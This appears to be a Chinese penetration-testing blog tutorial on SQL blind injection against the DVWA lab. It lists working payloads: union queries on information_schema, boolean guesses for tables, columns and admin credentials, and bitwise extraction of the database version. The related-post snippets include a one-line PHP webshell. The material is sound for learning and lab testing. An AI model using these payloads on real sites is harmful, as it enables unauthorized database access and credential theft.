SQL盲注

SQL注入介绍

SQL盲注:不显示数据库内建的报错信息【内建的报错信息帮助开发人员发现和修复问题】,但由于报错信息中提供了关于系统的大量有用信息。当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,SQL注入将无法依据报错信息判断注入语句的执行结果,即为盲注

思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断

a.  1' and 1=1--+

b.  1' and 1=2--+    【输入前真后假,无返回,页面没被执行】

###ab比较,表明存在SQL注入漏洞

 常用盲注语句【原理:猜测数据】

1' order by 5--                       【通过修改数值来测试列数,若页面没出现结果,则不存在该漏洞(1不能去掉,因为sql语句,表明必须提交一个正确的值,不一定为1)】

2' union select user(),database()--        【查询用户名和数据库名】

2' union select 1,2--+      

1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+

【查所有的表名,#为注释后面的代码】

1' and 1=0 union select null,table_name from information_schema.tables#

1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #

当无权读取information_schema库 / 拒绝union、order by语句

#若为真,则显示内容,若为假,则不显示任何内容 【语句中的1不为固定,可灵活变化,甚至为字符,视情况而定】

#使用Burpsuite自动化猜解内容

1、猜列名

1' and user is [not] null--+ 【测试user列是否为空】

2、猜当前表表名

1' and users.user is not null--+    【列为已知列】

3、猜库里其他表

1' and (select count(*) from table)>0--+

4、列表对应关系

1' and users.user is not null--+

  5、猜字段内容

  1' and user='admin

1' or user like '%a%

 6、猜账号对应密码

' or user='admin' and password='faqfoiauggvuagbymd5'    【若为1,为id=1,若为2,则id为2,(意思为查询第二个账号)】

脑洞案例

当遇到网页不显示任何从数据库中提取的信息,只有页面风格画面的转换

and 1=1--+  【原页面】

and 1=2--+  【显示另一个页面】

#则存在SQL注入漏洞

构造语句

1' and ORD(MID((VERSION()),1,1))&1>0--+    【无返回,则该位的ASCII码为0,正常返回,则ASCII码为1】

如:

#则证明,二进制中,十进制数为32的那一位二进制为1

MID函数:截取字符串中的某段子字符串,( 语法:MID(ColumnName,Start,Length)起始位置,长度 )】

ORD函数:#把函数中的字符转换成ASCII码,( 语法:ORD(string)&n ){n是二进制ASCII码的对应位置是0或1,n=1,2,4,8,16,32,64,128}    通过迭代8次查询每一位ASCII码的值,反查出字符】 《灵使用查询VERSION(),DATABASE(),CURRENT_USER()当前用户等函数》

代码审计

低级别【并未对变量进行消毒】

中安全级别

高安全级别

小白日记42:kali渗透测试之Web渗透-SQL盲注的更多相关文章

  1. 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto

    扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...

  2. 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish

    WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...

  3. 小白日记45:kali渗透测试之Web渗透-SqlMap自动注入(三)-sqlmap参数详解-Optimization,Injection,Detection,Techniques,Fingerprint

    sqlmap自动注入 Optimization [优化性能参数,可提高效率] -o:指定前三个参数(--predict-output.--keep-alive.--null-connection) - ...

  4. 小白日记44:kali渗透测试之Web渗透-SqlMap自动注入(二)-sqlmap参数详解REQUEST

    Sqlmap自动注入(二) Request ################################################### #inurl:.php?id= 1. 数据段:--d ...

  5. 小白日记43:kali渗透测试之Web渗透-SqlMap自动注入(一)-sqlmap参数详解TARGET

    SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发 ...

  6. 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

    webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...

  7. 小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)

    补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...

  8. 小白日记52:kali渗透测试之Web渗透-HTTPS攻击(Openssl、sslscan、sslyze、检查SSL的网站)

    HTTPS攻击 全站HTTPS正策划稿那位潮流趋势 如:百度.阿里 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改.窃取 [从中注入恶意代码,多为链路劫持] 加密:对称.非对称.单向 HT ...

  9. 小白日记50:kali渗透测试之Web渗透-CSRF

    CSRF CSRF原理:经常与XSS混淆. 从信任的角度进行区分:XSS:利用用户对站点的信任:CSRF:利用站点对已经身份认证的信任(有一定的信任)[默认情况:站点不信任客户端] 结合社工在身份认证 ...

随机推荐

  1. bzoj 1576 [Usaco2009 Jan]安全路经Travel(树链剖分,线段树)

    [题意] 给定一个无向图,找到1-i所有的次短路经,要求与最短路径的最后一条边不重叠. [思路] 首先用dijkstra算法构造以1为根的最短路树. 将一条无向边看作两条有向边,考察一条不在最短路树上 ...

  2. https://github.com/mlzboy/spider-impl.git

    Installation - pygit2 0.24.0 documentation Python 2.7, 3.2+ or PyPy 2.6+ (including the development ...

  3. 对"一维最大子数组和"问题的思考(homework-01)

    一维最大子数组和问题,即给定一个数组,在它所有的连续子数组的和中,求最大的那个和.“最大子数组和”是一个很好的IT面试考题,在<编程之美>一书中同时阐述了一维数组和二维数组的讨论.本篇博客 ...

  4. 【转】深受开发者喜爱的10大Core Data工具和开源库

    http://www.cocoachina.com/ios/20150902/13304.html 在iOS和OSX应用程序中存储和查询数据,Core Data是一个很好的选择.它不仅可以减少内存使用 ...

  5. sql server 2014内存表

    内存数据库,指的是将数据库的数据放在内存中直接操作.相对于存放在磁盘上,内存的数据读写速度要高出很多,故可以提高应用的性能.微软的SQL Server 2014已于2014年4月1日正式发布,SQL ...

  6. [iOS基础控件 - 6.9.1] 聊天界面Demo 代码

    框架:   所有代码文件:   Model: // // Message.h // QQChatDemo // // Created by hellovoidworld on 14/12/8. // ...

  7. Java 8 正式发布,新特性全搜罗

    经过2年半的努力.屡次的延期和9个里程碑版本,甲骨文的Java开发团队终于发布了Java 8正式版本. Java 8版本最大的改进就是Lambda表达式,其目的是使Java更易于为多核处理器编写代码: ...

  8. Codeforces Round #359 (Div. 2) C. Robbers' watch (暴力DFS)

    题目链接:http://codeforces.com/problemset/problem/686/C 给你n和m,问你有多少对(a, b) 满足0<=a <n 且 0 <=b &l ...

  9. mysql的interval函数用法

    Name: 'INTERVAL' Description: Syntax: INTERVAL(N,N1,N2,N3,...) Returns 0 if N < N1, 1 if N < N ...

  10. Unity3D之飞机游戏追踪导弹制作

    最近开发完成一款打飞机的游戏,记录一下制作追踪导弹的方法,最开始在网上找到的资料制作出来的追踪导弹都不够真实,主要的问题是没有对导弹进行一个阀值处理,导弹每帧都始终会面向目标,而不是按照一定的角度进行 ...